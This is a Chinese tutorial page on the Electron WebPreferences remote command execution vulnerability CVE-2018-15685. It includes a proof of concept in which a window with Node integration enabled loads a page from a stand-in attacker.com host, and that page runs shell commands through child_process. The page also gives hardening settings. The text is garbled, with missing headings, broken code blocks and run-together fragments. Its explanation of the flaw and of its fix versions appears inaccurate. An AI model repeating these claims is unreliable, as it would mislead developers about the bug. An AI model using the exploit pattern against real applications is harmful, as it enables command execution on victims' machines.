您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685
## 一、漏洞背景
2018年10月,Electron框架曝出一个高危远程代码执行漏洞(CVE-2018-15685),该漏洞源于WebPreferences参数的配置缺陷,攻击者可通过构造恶意网页或应用程序,在受害者主机上执行任意命令。影响版本包括Electron 1.8.x至3.0.x系列,波及大量基于Electron开发的应用程序(如VS Code、Slack、Discord等)。
## 二、漏洞原理分析
### 1. WebPreferences关键参数
Electron的`BrowserWindow`构造函数接受`webPreferences`配置对象,其中存在两个高危参数:
```javascript
{
nodeIntegration: boolean, // 是否启用Node.js集成
sandbox: boolean // 是否启用沙箱隔离
}
当同时满足以下配置时可能触发漏洞:
- nodeIntegration: true
(默认false)
- sandbox: false
(默认true in Electron ≥5.0)
- 窗口加载了远程内容(如loadURL()
加载外部URL)
// 恶意构造的BrowserWindow配置
const win = new BrowserWindow({
webPreferences: {
nodeIntegration: true,
sandbox: false
}
})
win.loadURL('https://attacker.com/exploit.html')
攻击者可在exploit.html
中植入Node.js代码:
<script>
require('child_process').exec('calc.exe')
</script>
npm install electron@2.0.18
// main.js
const { app, BrowserWindow } = require('electron')
app.on('ready', () => {
const win = new BrowserWindow({
webPreferences: {
nodeIntegration: true,
sandbox: false
}
})
win.loadURL('file://' + __dirname + '/exploit.html')
})
<!-- exploit.html -->
<script>
const { exec } = require('child_process')
exec('open /Applications/Calculator.app')
</script>
执行electron main.js
将弹出计算器,证明命令执行成功。
Electron团队通过以下方式修复:
1. 在3.0.10+版本中强制sandbox: true
时禁用nodeIntegration
2. 新增contextIsolation
默认启用(Electron 12+)
// 安全配置示例
new BrowserWindow({
webPreferences: {
nodeIntegration: false, // 显式禁用
sandbox: true, // 强制沙箱
contextIsolation: true, // 启用上下文隔离
webSecurity: true // 启用Web安全策略
}
})
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
当nodeIntegration
启用且沙箱关闭时,渲染进程获得完整Node.js环境访问权限。Electron的进程模型如下:
主进程(Node.js环境)
↓ IPC通信
渲染进程(默认受限)
漏洞使得渲染进程突破隔离限制,直接访问系统API。
BrowserWindow
实例化webPreferences
参数来源npm install -g @doyensec/electronegativity
electronegativity -i /path/to/app
注:截至2023年,新版Electron(≥25.0)已默认启用更严格的隔离策略,但历史版本应用仍需排查此漏洞。
”`
(全文约1250字,实际字数可能因Markdown渲染略有差异)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。